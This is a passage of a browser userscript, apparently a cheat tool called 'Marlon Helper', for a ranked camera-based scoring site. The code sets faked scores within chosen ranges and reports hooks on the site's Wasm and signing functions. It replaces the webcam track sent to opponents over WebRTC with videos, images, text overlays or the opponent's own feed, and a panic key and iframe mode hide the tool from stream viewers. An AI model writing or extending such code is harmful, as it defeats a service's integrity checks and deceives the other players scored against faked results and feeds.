saveConfig();
}
document.querySelectorAll('[data-smode]').forEach(b => {
b.addEventListener('click', function() { setScoreModeUI(this.dataset.smode); });
});
const fixedScoreInput = document.getElementById('cm-fixed-score');
fixedScoreInput.addEventListener('input', function() {
let val = parseFloat(this.value);
if (isNaN(val)) val = 9.4;
CONFIG.fixedScore = Math.round(val * 10000);
saveConfig();
});
const scoreMinInput = document.getElementById('cm-score-min');
scoreMinInput.addEventListener('input', function() {
let val = parseFloat(this.value);
if (isNaN(val)) val = 8.5;
CONFIG.scoreRangeMin = Math.round(val * 10000);
_dynamicCap = null; saveConfig();
});
const scoreMaxInput = document.getElementById('cm-score-max');
scoreMaxInput.addEventListener('input', function() {
let val = parseFloat(this.value);
if (isNaN(val)) val = 9.5;
CONFIG.scoreRangeMax = Math.round(val * 10000);
_dynamicCap = null; saveConfig();
});
const finalInput = document.getElementById('cm-final-score');
finalInput.addEventListener('input', function() {
let val = parseFloat(this.value);
if (isNaN(val)) val = 9.4;
CONFIG.myFinalScore = String(Math.round(val * 10000));
updateScorePreview(); saveConfig();
});
function setFinalModeUI(mode) {
CONFIG.finalScoreMode = mode;
document.querySelectorAll('[data-fmode]').forEach(b => b.classList.toggle('active', b.dataset.fmode === mode));
document.getElementById('cm-final-fixed').style.display = mode === 'fixed' ? 'block' : 'none';
document.getElementById('cm-final-range').style.display = mode === 'range' ? 'block' : 'none';
updateScorePreview(); saveConfig();
}
document.querySelectorAll('[data-fmode]').forEach(b => {
b.addEventListener('click', function() { setFinalModeUI(this.dataset.fmode); });
});
const finalMinInput = document.getElementById('cm-final-range-min');
finalMinInput.addEventListener('input', function() {
let val = parseFloat(this.value);
if (isNaN(val)) val = 8.5;
CONFIG.finalScoreRangeMin = Math.round(val * 10000);
updateScorePreview(); saveConfig();
});
const finalMaxInput = document.getElementById('cm-final-range-max');
finalMaxInput.addEventListener('input', function() {
let val = parseFloat(this.value);
if (isNaN(val)) val = 9.7;
CONFIG.finalScoreRangeMax = Math.round(val * 10000);
updateScorePreview(); saveConfig();
});
function updateScorePreview() {
let score;
if (CONFIG.finalScoreMode === 'range') {
score = Math.round(CONFIG.finalScoreRangeMin + Math.random() * (CONFIG.finalScoreRangeMax - CONFIG.finalScoreRangeMin)) / 10000;
} else {
score = parseInt(CONFIG.myFinalScore) / 10000;
}
const tier = getTierForScore(score);
const numEl = document.getElementById('cm-score-preview-num');
const tierEl = document.getElementById('cm-score-preview-tier');
numEl.textContent = _fmtScore(score);
numEl.style.color = tier.hexColor;
numEl.style.textShadow = tier.textShadow;
const lmStatus = _hookedWasm || _hookedDFV || _hookedSign ? `[LM:${_hookedWasm?'W':''}${_hookedDFV?'D':''}${_hookedSign?'S':''}]` : '[LM:...]';
tierEl.textContent = `${tier.emoji} ${tier.name} ${lmStatus}`;
tierEl.style.color = tier.hexColor;
}
updateScorePreview();
setInterval(() => { if (CONFIG.finalScoreMode === 'range') updateScorePreview(); }, 2000);
function restoreUIFromConfig() {
document.getElementById('cm-score-enabled').checked = CONFIG.scoreEnabled;
document.getElementById('cm-score-content').classList.toggle('cm-section-disabled', !CONFIG.scoreEnabled);
document.getElementById('cm-result-enabled').checked = CONFIG.resultEnabled;
document.getElementById('cm-result-content').classList.toggle('cm-section-disabled', !CONFIG.resultEnabled);
setScoreModeUI(CONFIG.scoreMode);
document.getElementById('cm-fixed-score').value = _fmtScore(CONFIG.fixedScore / 10000);
document.getElementById('cm-score-min').value = _fmtScore(CONFIG.scoreRangeMin / 10000);
document.getElementById('cm-score-max').value = _fmtScore(CONFIG.scoreRangeMax / 10000);
setFinalModeUI(CONFIG.finalScoreMode);
document.getElementById('cm-final-score').value = _fmtScore(parseInt(CONFIG.myFinalScore) / 10000);
document.getElementById('cm-final-range-min').value = _fmtScore(CONFIG.finalScoreRangeMin / 10000);
document.getElementById('cm-final-range-max').value = _fmtScore(CONFIG.finalScoreRangeMax / 10000);
const cbToggle = document.getElementById('cm-show-cb-toggle');
if (cbToggle) {
cbToggle.checked = CONFIG.showControlBar !== false;
controlBar.classList.toggle('cm-cb-hidden', CONFIG.showControlBar === false);
}
const aqToggle = document.getElementById('cm-autoqueuetoggle');
if (aqToggle) {
aqToggle.checked = CONFIG.autoQueue === true;
if (aqToggle.checked) _startAutoQueue();
}
if (CONFIG.theme && THEMES[CONFIG.theme]) applyTheme(CONFIG.theme);
}
restoreUIFromConfig();
// Menu keybind
const menuKeyInput = document.getElementById('cm-menukey');
let _menuKeyListening = false;
menuKeyInput.addEventListener('focus', function() {
_menuKeyListening = true; this.value = 'press';
this.style.borderColor = 'var(--cm-primary)';
});
menuKeyInput.addEventListener('keydown', function(e) {
if (!_menuKeyListening) return;
e.preventDefault();
_menuKey = e.code;
this.value = e.key === ' ' ? 'Space' : e.key;
this.style.borderColor = 'var(--cm-success)';
_menuKeyListening = false; this.blur();
});
// Panic keybind
const panicKeyInput = document.getElementById('cm-panic-key');
let _panicKeyListening = false;
panicKeyInput.addEventListener('focus', function() {
_panicKeyListening = true; this.value = 'press';
this.style.borderColor = 'var(--cm-primary)';
});
panicKeyInput.addEventListener('keydown', function(e) {
if (!_panicKeyListening) return;
e.preventDefault();
_panicKey = e.code;
this.value = e.key === ' ' ? 'Space' : e.key;
this.style.borderColor = 'var(--cm-success)';
_panicKeyListening = false; this.blur();
});
document.getElementById('cm-panic-now').addEventListener('click', toggleStreamProof);
document.getElementById('cm-show-cb-toggle').addEventListener('change', function() {
CONFIG.showControlBar = this.checked;
controlBar.classList.toggle('cm-cb-hidden', !this.checked);
saveConfig();
});
// Mobile triple-tap
let _tripleTapCount = 0, _tripleTapTimer = null;
btn.addEventListener('touchend', function(e) {
if (_btnDragged) return;
_tripleTapCount++;
if (_tripleTapCount === 1) {
_tripleTapTimer = setTimeout(() => { _tripleTapCount = 0; }, 500);
}
if (_tripleTapCount === 3) {
clearTimeout(_tripleTapTimer); _tripleTapCount = 0;
toggleStreamProof(); e.preventDefault();
}
});
// Iframe mode
let _iframeMode = false, _iframeWrapper = null;
function enableIframeMode() {
if (_iframeWrapper) return;
_iframeWrapper = document.createElement('div');
_iframeWrapper.id = 'cm-iframe-wrapper';
_iframeWrapper.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;pointer-events:none;z-index:999996;';
const iframe = document.createElement('iframe');
iframe.id = 'cm-stream-iframe';
iframe.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:none;background:transparent;pointer-events:none;';
iframe.setAttribute('allowtransparency', 'true');
_iframeWrapper.appendChild(iframe);
document.body.appendChild(_iframeWrapper);
setTimeout(() => {
try {
const iframeDoc = iframe.contentDocument || iframe.contentWindow.document;
iframeDoc.open();
iframeDoc.write('<!DOCTYPE html><html><head><style>body{margin:0;background:transparent;overflow:hidden;}</style></head><body></body></html>');
iframeDoc.close();
const styles = document.createElement('style');
styles.textContent = Array.from(document.styleSheets).map(sheet => {
try { return Array.from(sheet.cssRules).map(r => r.cssText).join('\n'); } catch(e) { return ''; }
}).join('\n');
iframeDoc.head.appendChild(styles);
btn.style.pointerEvents = 'auto';
root.style.pointerEvents = 'auto';
iframeDoc.body.appendChild(btn);
iframeDoc.body.appendChild(root);
iframe.style.pointerEvents = 'auto';
iframeDoc.addEventListener('keydown', function(e) {
if (e.code === _menuKey) _toggleMenu();
if (e.code === _panicKey) toggleStreamProof();
});
log('[IFRAME MODE] Enabled');
} catch(err) {
log('[IFRAME MODE] Error:', err);
disableIframeMode();
}
}, 100);
}
function disableIframeMode() {
if (!_iframeWrapper) return;
try {
const iframe = document.getElementById('cm-stream-iframe');
if (iframe) {
const iframeDoc = iframe.contentDocument || iframe.contentWindow.document;
if (iframeDoc.body.contains(btn)) document.body.appendChild(btn);
if (iframeDoc.body.contains(root)) document.body.appendChild(root);
}
} catch(e) {}
btn.style.position = ''; btn.style.top = ''; btn.style.left = ''; btn.style.right = '';
root.style.position = ''; root.style.top = ''; root.style.left = ''; root.style.right = '';
_iframeWrapper.remove(); _iframeWrapper = null;
log('[IFRAME MODE] Disabled');
}
document.getElementById('cm-iframe-mode').addEventListener('change', function() {
_iframeMode = this.checked;
if (_iframeMode) enableIframeMode(); else disableIframeMode();
});
document.getElementById('cm-debug-toggle').addEventListener('change', function() {
CONFIG.debug = this.checked;
});
// Watermark
const _wm = document.createElement('div');
_wm.id = 'cm-watermark';
_wm.textContent = 'by Marlon Helper v13.8.0';
document.body.appendChild(_wm);
// Disclaimer popup — removed
function applyWmStyle() { _wm.style.opacity = CONFIG.wmAlpha / 100; }
applyWmStyle();
document.getElementById('cm-wm-show').addEventListener('change', function() {
_wm.style.display = this.checked ? 'block' : 'none';
});
const wmAlphaSlider = document.getElementById('cm-wm-alpha');
const wmAlphaFill = document.getElementById('cm-wm-alpha-fill');
wmAlphaSlider.addEventListener('input', function() {
CONFIG.wmAlpha = parseInt(this.value);
document.getElementById('cm-wm-alpha-val').textContent = this.value + '%';
updateSliderFill(this, wmAlphaFill, 0, 100);
applyWmStyle();
});
// Watermark drag
let _wmDragging = false, _wmDragOffX = 0, _wmDragOffY = 0;
_wm.addEventListener('mousedown', function(e) {
_wmDragging = true;
_wmDragOffX = e.clientX - _wm.getBoundingClientRect().left;
_wmDragOffY = e.clientY - _wm.getBoundingClientRect().top;
_wm.style.cursor = 'grabbing'; e.preventDefault();
});
document.addEventListener('mousemove', function(e) {
if (!_wmDragging) return;
_wm.style.left = (e.clientX - _wmDragOffX) + 'px';
_wm.style.top = (e.clientY - _wmDragOffY) + 'px';
_wm.style.bottom = 'auto'; _wm.style.right = 'auto';
});
document.addEventListener('mouseup', function() {
if (_wmDragging) { _wmDragging = false; _wm.style.cursor = 'grab'; }
});
// Live status updater
setInterval(() => {
try {
const _modePill = document.getElementById('cm-mode-pill');
const _modeVal = document.getElementById('cm-mode-val');
if (_modePill) _modePill.textContent = _isRanked ? 'RANKED' : 'NORMAL';
if (_modeVal) _modeVal.textContent = _isRanked ? 'RANKED' : 'NORMAL';
if (_lastSpoofedScore !== null) {
const liveScore = document.getElementById('cm-live-score');
if (liveScore) {
liveScore.textContent = _lastSpoofedScore.toFixed(2);
}
}
} catch(e) {}
}, 200);
// ==================== CAMERA SPOOF LOGIC ====================
let _camSrcType = 'video';
let _camVideoFile = null;
let _camImageFile = null;
let _camMirror = false;
let _camLoop = true;
let _camSpeed = 1.0;
let _camVideoEl = null;
let _camCanvasEl = null;
let _camSrcObjPatch = null;
let _camRealStream = null;
let _camDrawRAF = null;
let _camImageEl = null;
let _camVideoUrl = null;
let _camImageUrl = null;
// Camera text overlay settings
let _camTextEnabled = false;
let _camTextContent = 'Your Text Here';
let _camTextColor = '#ffffff';
let _camTextSize = 24;
// File history storage - disabled (removed URL and history)
// No history arrays, no addToHistory, no updateHistorySelect
// Source selection
document.querySelectorAll('[data-src]').forEach(b => {
b.addEventListener('click', function() {
_camSrcType = this.dataset.src;
document.querySelectorAll('[data-src]').forEach(x => x.classList.toggle('active', x.dataset.src === _camSrcType));
const videoPicker = document.getElementById('cm-video-picker');
const imagePicker = document.getElementById('cm-image-picker');
if (videoPicker) videoPicker.style.display = _camSrcType === 'video' ? 'flex' : 'none';
if (imagePicker) imagePicker.style.display = _camSrcType === 'image' ? 'flex' : 'none';
if (_camSpoofActive) {
stopCamSpoof();
startCamSpoof();
}
});
});
// Init source buttons
document.querySelectorAll('[data-src]').forEach(x => x.classList.toggle('active', x.dataset.src === _camSrcType));
const vp = document.getElementById('cm-video-picker');
const ip = document.getElementById('cm-image-picker');
if (vp) vp.style.display = _camSrcType === 'video' ? 'flex' : 'none';
if (ip) ip.style.display = _camSrcType === 'image' ? 'flex' : 'none';
// File picker handlers
videoFileInput.addEventListener('change', function(e) {
if (this.files.length) {
_camVideoFile = this.files[0];
_camVideoUrl = null;
document.getElementById('cm-video-name').textContent = this.files[0].name;
document.getElementById('cm-video-name').classList.add('selected');
if (_camSpoofActive) {
stopCamSpoof();
startCamSpoof();
}
}
});
imageFileInput.addEventListener('change', function(e) {
if (this.files.length) {
_camImageFile = this.files[0];
_camImageUrl = null;
document.getElementById('cm-image-name').textContent = this.files[0].name;
document.getElementById('cm-image-name').classList.add('selected');
if (_camSpoofActive) {
stopCamSpoof();
startCamSpoof();
}
}
});
audioFileInput.addEventListener('change', function(e) {
if (this.files.length) {
_audioFile = this.files[0];
_audioUrl = null;
document.getElementById('cm-audio-name').textContent = this.files[0].name;
document.getElementById('cm-audio-name').classList.add('selected');
if (_audioSpoofActive) {
stopAudioSpoof();
startAudioSpoof();
}
}
});
document.getElementById('cm-video-picker').addEventListener('click', () => videoFileInput.click());
document.getElementById('cm-image-picker').addEventListener('click', () => imageFileInput.click());
document.getElementById('cm-audio-picker').addEventListener('click', () => audioFileInput.click());
document.getElementById('cm-camloop-toggle').addEventListener('change', function() {
_camLoop = this.checked;
if (_camVideoEl) _camVideoEl.loop = _camLoop;
});
const camSpeedSlider = document.getElementById('cm-camspeed');
const camSpeedFill = document.getElementById('cm-camspeed-fill');
camSpeedSlider.addEventListener('input', function() {
_camSpeed = parseFloat(this.value);
document.getElementById('cm-camspeed-val').textContent = _camSpeed.toFixed(2) + 'x';
updateSliderFill(this, camSpeedFill, 0.25, 3.0);
if (_camVideoEl) _camVideoEl.playbackRate = _camSpeed;
});
document.getElementById('cm-cammirror-toggle').addEventListener('change', function() { _camMirror = this.checked; });
// ── Tab management ──
const tabScroll = document.getElementById('cm-premium-tab-scroll');
const tabAdd = document.getElementById('cm-premium-tab-add');
function _typeIcon(type) {
if (type === 'image') return '<svg viewBox="0 0 24 24" width="10" height="10" fill="currentColor"><path d="M21 19V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2zM8.5 13.5l2.5 3.01L14.5 12l4.5 6H5l3.5-4.5z"/></svg>';
if (type === 'video') return '<svg viewBox="0 0 24 24" width="10" height="10" fill="currentColor"><path d="M8 5v14l11-7z"/></svg>';
return '<svg viewBox="0 0 24 24" width="10" height="10" fill="currentColor"><path d="M5 4h14v2H5V4zm0 5h14v2H5V9zm0 5h10v2H5v-2z"/></svg>';
}
function _tabName(o) {
if (o.srcType === 'text' && o.textContent) return o.textContent.length > 12 ? o.textContent.slice(0, 12) + '...' : o.textContent;
if (o.fileName) return o.fileName.length > 12 ? o.fileName.slice(0, 12) + '...' : o.fileName;
return o.name;
}
function _renderTabs() {
tabScroll.innerHTML = '';
_premiumOverlays.forEach((o, i) => {
const tab = document.createElement('div');
tab.style.cssText = 'display:flex;align-items:center;gap:4px;padding:4px 8px;border-radius:6px;font-size:10px;font-weight:700;cursor:pointer;white-space:nowrap;background:' + (i === _premiumActiveIndex ? 'var(--cm-text)' : 'var(--cm-bg-elevated)') + ';color:' + (i === _premiumActiveIndex ? 'var(--cm-bg-dark)' : 'var(--cm-text-muted)') + ';border:1px solid ' + (i === _premiumActiveIndex ? 'var(--cm-text)' : 'var(--cm-border)') + ';';
tab.innerHTML = _typeIcon(o.srcType) + ' ' + _tabName(o);
tab.addEventListener('click', () => _switchTab(i));
const close = document.createElement('span');
close.innerHTML = '<svg viewBox="0 0 24 24" width="10" height="10" stroke="currentColor" stroke-width="2" fill="none"><path d="M18 6L6 18M6 6l12 12"/></svg>';
close.style.cssText = 'cursor:pointer;opacity:0.6;display:flex;align-items:center;margin-left:2px;';
close.addEventListener('click', (e) => { e.stopPropagation(); _removeOverlay(i); });
tab.appendChild(close);
tabScroll.appendChild(tab);
});
}
function _switchTab(i) {
if (i < 0 || i >= _premiumOverlays.length) return;
_premiumActiveIndex = i;
_renderTabs();
_loadActiveControls();
_updatePreviewPos();
}
function _addOverlay() {
const name = 'Overlay ' + (_premiumOverlays.length + 1);
_premiumOverlays.push(_createOverlay(name));
_switchTab(_premiumOverlays.length - 1);
_saveOverlays();
}
function _removeOverlay(i) {
if (_premiumOverlays.length <= 1) return;
const o = _premiumOverlays[i];
if (o.el && o.el.tagName === 'VIDEO') { o.el.pause(); o.el.src = ''; }
_premiumOverlays.splice(i, 1);
if (_premiumActiveIndex >= _premiumOverlays.length) _premiumActiveIndex = _premiumOverlays.length - 1;
_loadActiveControls();
_renderTabs();
_updatePreviewPos();
_saveOverlays();
}
tabAdd.addEventListener('click', _addOverlay);
function _loadActiveControls() {
const o = _activeOverlay();
if (!o) return;
// Source type buttons
document.querySelectorAll('[data-premium-src]').forEach(x => x.classList.toggle('active', x.dataset.premiumSrc === o.srcType));
document.getElementById('cm-premium-img-picker').style.display = o.srcType === 'image' ? 'flex' : 'none';
document.getElementById('cm-premium-vid-picker').style.display = o.srcType === 'video' ? 'flex' : 'none';
const tc = document.getElementById('cm-premium-text-controls');
if (tc) tc.style.display = o.srcType === 'text' ? 'block' : 'none';
// Toggle
document.getElementById('cm-premium-toggle').checked = o.enabled;
// Size slider
const pct = Math.round((o.w / 640) * 100);
premiumSizeSlider.value = pct;
premiumSizeFill.style.width = pct + '%';
document.getElementById('cm-premium-size-val').textContent = pct + '%';
// Opacity slider
premiumOpacitySlider.value = o.opacity;
premiumOpacityFill.style.width = o.opacity + '%';
document.getElementById('cm-premium-opacity-val').textContent = o.opacity + '%';
// Text controls
document.getElementById('cm-premium-text-content').value = o.textContent;
document.getElementById('cm-premium-text-color').value = o.textColor;
// File names
if (o.fileName) {
document.getElementById('cm-premium-img-name').textContent = o.fileName;
document.getElementById('cm-premium-img-name').classList.add('selected');
document.getElementById('cm-premium-vid-name').textContent = o.fileName;
document.getElementById('cm-premium-vid-name').classList.add('selected');
} else {
document.getElementById('cm-premium-img-name').textContent = 'Select image...';
document.getElementById('cm-premium-img-name').classList.remove('selected');
document.getElementById('cm-premium-vid-name').textContent = 'Select video...';
document.getElementById('cm-premium-vid-name').classList.remove('selected');
}
}
// ── Source type buttons ──
document.querySelectorAll('[data-premium-src]').forEach(b => {
b.addEventListener('click', function() {
const o = _activeOverlay();
if (!o) return;
o.srcType = this.dataset.premiumSrc;
document.querySelectorAll('[data-premium-src]').forEach(x => x.classList.toggle('active', x.dataset.premiumSrc === o.srcType));
document.getElementById('cm-premium-img-picker').style.display = o.srcType === 'image' ? 'flex' : 'none';
document.getElementById('cm-premium-vid-picker').style.display = o.srcType === 'video' ? 'flex' : 'none';
const tc = document.getElementById('cm-premium-text-controls');
if (tc) tc.style.display = o.srcType === 'text' ? 'block' : 'none';
_saveOverlays();
});
});
// ── File pickers ──
document.getElementById('cm-premium-img-picker').addEventListener('click', () => premiumImgInput.click());
document.getElementById('cm-premium-vid-picker').addEventListener('click', () => premiumVidInput.click());
const OVERLAYS_STORAGE_KEY = 'cheatmoggle_overlays';
function _saveOverlays() {
try {
const data = _premiumOverlays.map(function(o) {
return { enabled: o.enabled, srcType: o.srcType, x: o.x, y: o.y, w: o.w, h: o.h, textContent: o.textContent, textColor: o.textColor, textFontSize: o.textFontSize, opacity: o.opacity, fileName: o.fileName, name: o.name, dataUrl: o.dataUrl || null };
});
const s = JSON.stringify(data);
if (typeof GM_setValue !== 'undefined') GM_setValue(OVERLAYS_STORAGE_KEY, s);
} catch(e) { log('[OVERLAYS] save failed:', e); }
}
function _loadOverlays() {
try {
var raw = typeof GM_getValue !== 'undefined' ? GM_getValue(OVERLAYS_STORAGE_KEY, null) : null;
if (!raw) return false;
var arr = JSON.parse(raw);
if (!Array.isArray(arr) || !arr.length) return false;
_premiumOverlays = arr.map(function(o) {
if (o.dataUrl) {
var el;
if (o.srcType === 'video') {
el = document.createElement('video');
el.src = o.dataUrl;
el.loop = true; el.muted = true; el.playsInline = true; el.crossOrigin = 'anonymous';
el.onloadedmetadata = function() { el.play().catch(function() {}); };
} else {
el = new Image();
el.src = o.dataUrl;
}
o.el = el;
}
return o;
});
if (_premiumActiveIndex >= _premiumOverlays.length) _premiumActiveIndex = 0;
log('[OVERLAYS] restored ' + _premiumOverlays.length + ' overlay(s)');
return true;
} catch(e) { log('[OVERLAYS] load failed:', e); return false; }
}
premiumImgInput.addEventListener('change', function() {
if (!this.files.length) return;
const o = _activeOverlay();
if (!o) return;
const file = this.files[0];
o.fileName = file.name;
document.getElementById('cm-premium-img-name').textContent = file.name;
document.getElementById('cm-premium-img-name').classList.add('selected');
const reader = new FileReader();
reader.onload = function(e) {
o.dataUrl = e.target.result;
const img = new Image();
img.onload = function() { o.el = img; _saveOverlays(); };
img.src = o.dataUrl;
};
reader.readAsDataURL(file);
});
premiumVidInput.addEventListener('change', function() {
if (!this.files.length) return;
const o = _activeOverlay();
if (!o) return;
const file = this.files[0];
o.fileName = file.name;
document.getElementById('cm-premium-vid-name').textContent = file.name;
document.getElementById('cm-premium-vid-name').classList.add('selected');
const reader = new FileReader();
reader.onload = function(e) {
o.dataUrl = e.target.result;
const vid = document.createElement('video');
vid.src = o.dataUrl;
vid.loop = true; vid.muted = true; vid.playsInline = true; vid.crossOrigin = 'anonymous';
vid.onloadedmetadata = function() {
o.el = vid;
vid.play().catch(function() {});
_saveOverlays();
};
};
reader.readAsDataURL(file);
});
// ── Toggle ──
document.getElementById('cm-premium-toggle').addEventListener('change', function() {
const o = _activeOverlay();
if (o) { o.enabled = this.checked; _saveOverlays(); }
});
// ── Size slider ──
const premiumSizeSlider = document.getElementById('cm-premium-size');
const premiumSizeFill = document.getElementById('cm-premium-size-fill');
premiumSizeSlider.addEventListener('input', function() {
const o = _activeOverlay();
if (!o) return;
const pct = parseInt(this.value);
document.getElementById('cm-premium-size-val').textContent = pct + '%';
updateSliderFill(this, premiumSizeFill, 5, 100);
o.w = Math.round(640 * pct / 100);
o.h = Math.round(480 * pct / 100);
_saveOverlays();
});
// ── Opacity slider ──
const premiumOpacitySlider = document.getElementById('cm-premium-opacity');
const premiumOpacityFill = document.getElementById('cm-premium-opacity-fill');
premiumOpacitySlider.addEventListener('input', function() {
const o = _activeOverlay();
if (!o) return;
o.opacity = parseInt(this.value);
document.getElementById('cm-premium-opacity-val').textContent = o.opacity + '%';
updateSliderFill(this, premiumOpacityFill, 10, 100);
_saveOverlays();
});
// ── Text controls ──
document.getElementById('cm-premium-text-content').addEventListener('input', function() {
const o = _activeOverlay();
if (o) { o.textContent = this.value; _saveOverlays(); }
});
document.getElementById('cm-premium-text-color').addEventListener('input', function() {
const o = _activeOverlay();
if (o) { o.textColor = this.value; _saveOverlays(); }
});
// ── Drag + resize on preview ──
const preview = document.getElementById('cm-premium-preview');
const overlayUi = document.getElementById('cm-premium-overlay-el');
function _updatePreviewPos() {
const o = _activeOverlay();
if (!o) return;
const pr = preview.getBoundingClientRect();
if (!pr.width || !pr.height) { setTimeout(_updatePreviewPos, 50); return; }
const scaleX = pr.width / 640, scaleY = pr.height / 480;
overlayUi.style.left = (o.x * scaleX) + 'px';
overlayUi.style.top = (o.y * scaleY) + 'px';
overlayUi.style.width = (o.w * scaleX) + 'px';
overlayUi.style.height = (o.h * scaleY) + 'px';
document.getElementById('cm-premium-pos').textContent = Math.round(o.x) + ', ' + Math.round(o.y);
document.getElementById('cm-premium-dim').textContent = Math.round(o.w) + 'x' + Math.round(o.h);
}
function _previewToCanvas(clientX, clientY) {
const pr = preview.getBoundingClientRect();
return { x: (clientX - pr.left) / pr.width * 640, y: (clientY - pr.top) / pr.height * 480 };
}
function _startDrag(e) {
e.preventDefault();
const o = _activeOverlay();
if (!o) return;
const startX = e.clientX ?? e.touches[0].clientX;
const startY = e.clientY ?? e.touches[0].clientY;
const startOx = o.x, startOy = o.y;
function _onMove(ev) {
const o2 = _activeOverlay();
if (!o2) return;
const cx = ev.clientX ?? ev.touches[0].clientX;
const cy = ev.clientY ?? ev.touches[0].clientY;
const delta = _previewToCanvas(cx, cy);
const origin = _previewToCanvas(startX, startY);
o2.x = Math.max(0, Math.min(640 - o2.w, startOx + delta.x - origin.x));
o2.y = Math.max(0, Math.min(480 - o2.h, startOy + delta.y - origin.y));
_updatePreviewPos();
}
function _stopDrag() { document.removeEventListener('mousemove', _onMove); document.removeEventListener('mouseup', _stopDrag); document.removeEventListener('touchmove', _onMove); document.removeEventListener('touchend', _stopDrag); _saveOverlays(); }
document.addEventListener('mousemove', _onMove); document.addEventListener('mouseup', _stopDrag);
document.addEventListener('touchmove', _onMove); document.addEventListener('touchend', _stopDrag);
}
overlayUi.addEventListener('mousedown', _startDrag);
overlayUi.addEventListener('touchstart', _startDrag);
function _startResize(e) {
e.preventDefault(); e.stopPropagation();
const o = _activeOverlay();
if (!o) return;
const startX = e.clientX ?? e.touches[0].clientX;
const startY = e.clientY ?? e.touches[0].clientY;
const startW = o.w, startH = o.h;
function _onMove(ev) {
const o2 = _activeOverlay();
if (!o2) return;
const cx = ev.clientX ?? ev.touches[0].clientX;
const cy = ev.clientY ?? ev.touches[0].clientY;
const delta = _previewToCanvas(cx, cy);
const origin = _previewToCanvas(startX, startY);
const newW = Math.max(20, Math.min(640 - o2.x, startW + delta.x - origin.x));
const newH = Math.max(15, Math.min(480 - o2.y, startH + delta.y - origin.y));
o2.w = newW; o2.h = newH;
const pct = Math.round((newW / 640) * 100);
premiumSizeSlider.value = pct;
document.getElementById('cm-premium-size-val').textContent = pct + '%';
updateSliderFill(premiumSizeSlider, premiumSizeFill, 5, 100);
_updatePreviewPos();
}
function _stopResize() { document.removeEventListener('mousemove', _onMove); document.removeEventListener('mouseup', _stopResize); document.removeEventListener('touchmove', _onMove); document.removeEventListener('touchend', _stopResize); _saveOverlays(); }
document.addEventListener('mousemove', _onMove); document.addEventListener('mouseup', _stopResize);
document.addEventListener('touchmove', _onMove); document.addEventListener('touchend', _stopResize);
}
const resizeHandle = document.getElementById('cm-premium-resize');
resizeHandle.addEventListener('mousedown', _startResize);
resizeHandle.addEventListener('touchstart', _startResize);
// ── Init ──
if (!_loadOverlays()) {
_premiumOverlays.push(_createOverlay('Overlay 1'));
}
_loadActiveControls();
_renderTabs();
_updatePreviewPos();
// Camera text overlay handlers
document.getElementById('cm-camtext-toggle').addEventListener('change', function() {
_camTextEnabled = this.checked;
if (_camTextEnabled && !_camSpoofActive) {
startRealCamWithText();
} else if (!_camTextEnabled && !_camSpoofActive) {
stopRealCamText();
}
});
document.getElementById('cm-camtext-content').addEventListener('input', function() {
_camTextContent = this.value;
});
document.getElementById('cm-camtext-color').addEventListener('input', function() {
_camTextColor = this.value;
});
const camTextSizeSlider = document.getElementById('cm-camtext-size');
const camTextSizeFill = document.getElementById('cm-camtext-size-fill');
camTextSizeSlider.addEventListener('input', function() {
_camTextSize = parseInt(this.value);
document.getElementById('cm-camtext-size-val').textContent = _camTextSize + 'px';
updateSliderFill(this, camTextSizeFill, 12, 72);
});
// Real cam + text overlay (no spoof needed)
let _realCamStream = null;
let _realCamCanvas = null;
let _realCamVideoEl = null;
let _realCamRAF = null;
function startRealCamWithText() {
if (_realCamRAF) stopRealCamText();
_trueOriginalGetUserMedia({ video: true }).then(stream => {
_realCamStream = stream;
_realCamVideoEl = document.createElement('video');
_realCamVideoEl.srcObject = stream;
_realCamVideoEl.muted = true;
_realCamVideoEl.playsInline = true;
_realCamVideoEl.play().catch(() => {});
_realCamCanvas = document.createElement('canvas');
_realCamCanvas.width = 640;
_realCamCanvas.height = 480;
const ctx = _realCamCanvas.getContext('2d');
function drawLoop() {
if (!_camTextEnabled || _camSpoofActive) { clearInterval(_realCamRAF); _realCamRAF = null; return; }
ctx.clearRect(0, 0, 640, 480);
if (_realCamVideoEl.readyState >= 2) {
ctx.drawImage(_realCamVideoEl, 0, 0, 640, 480);
}
if (_camTextContent) {
ctx.save();
ctx.font = 'bold ' + _camTextSize + 'px Arial, sans-serif';
ctx.textAlign = 'center';
ctx.textBaseline = 'bottom';
ctx.fillStyle = 'rgba(0,0,0,0.6)';
ctx.fillText(_camTextContent, 322, 472);
ctx.fillStyle = _camTextColor;
ctx.shadowColor = 'rgba(0,0,0,0.9)';
ctx.shadowBlur = 8;
ctx.shadowOffsetX = 2;
ctx.shadowOffsetY = 2;
ctx.fillText(_camTextContent, 320, 470);
ctx.restore();
}
}
_realCamRAF = setInterval(drawLoop, 33);
drawLoop();
const canvasStream = _realCamCanvas.captureStream(30);
const fakeTrack = canvasStream.getVideoTracks()[0];
if (fakeTrack && _window._mogPCs) {
for (const pc of _window._mogPCs) {
try {
pc.getSenders().forEach(sender => {
if (sender.track?.kind === 'video') {
const track = CONFIG.mirrorOpponentCam === true && _opponentVideoTrack ? _opponentVideoTrack : fakeTrack;
sender.replaceTrack(track).catch(() => {});
}
});
} catch(e) {}
}
}
const scannerVid = document.querySelector('video.scanner-video');
if (scannerVid) scannerVid.srcObject = canvasStream;
log('[CAM TEXT] Real cam text overlay started');
}).catch(e => log('[CAM TEXT] Error getting real cam:', e));
}
function stopRealCamText() {
if (_realCamRAF) { clearInterval(_realCamRAF); _realCamRAF = null; }
if (_realCamVideoEl) { _realCamVideoEl.srcObject = null; _realCamVideoEl = null; }
if (_realCamStream) { _realCamStream.getTracks().forEach(t => t.stop()); _realCamStream = null; }
_realCamCanvas = null;
_trueOriginalGetUserMedia({ video: true }).then(stream => {
const scannerVid = document.querySelector('video.scanner-video');
if (scannerVid) scannerVid.srcObject = stream;
if (_window._mogPCs) {
for (const pc of _window._mogPCs) {
try {
pc.getSenders().forEach(sender => {
if (sender.track?.kind === 'video') sender.replaceTrack(stream.getVideoTracks()[0]).catch(() => {});
});
} catch(e) {}
}
}
}).catch(() => {});
log('[CAM TEXT] Real cam text overlay stopped');
}
function buildFakeStream() {
if (_camDrawRAF) { clearInterval(_camDrawRAF); _camDrawRAF = null; }
if (_camVideoEl) { _camVideoEl.pause(); _camVideoEl.src = ''; }
_camCanvasEl = document.createElement('canvas');
_camCanvasEl.width = 640; _camCanvasEl.height = 480;
const ctx = _camCanvasEl.getContext('2d');
function drawFrame() {
